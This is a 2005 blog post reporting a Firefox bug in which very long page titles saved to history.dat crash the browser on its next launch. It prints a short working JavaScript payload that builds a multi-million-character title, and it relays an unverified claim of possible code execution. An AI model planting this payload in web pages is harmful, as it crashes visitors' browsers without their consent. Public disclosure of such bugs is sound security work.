The Latest Firefox Exploit: DOS via local buffer overflow
Apparently Firefox logs URL data in history.dat, meaning that it will save titles. If we make our title long enough, such as with the following bit of javascript, we can execute a denial of service (DOS) attack against Firefox the next time it loads:
<script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script>
The anonymous author claims that code execution is also possible. Hopefully this will get fixed soon?
This entry was posted on Thursday, December 8th, 2005 at 12:19 am and is tagged with local buffer overflow, denial of service dos attack, code execution, denial of service dos, url data, denial of service, anonymous author, author claims, script type, document title, text javascript, lt, logs. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback.
Add New Comment
Viewing 1 Comment
Thanks. Your comment is awaiting approval by a moderator.
Do you already have an account? Log in and claim this comment.
Do you already have an account? Log in and claim this comment.
Add New Comment
Trackbacks
(Trackback URL)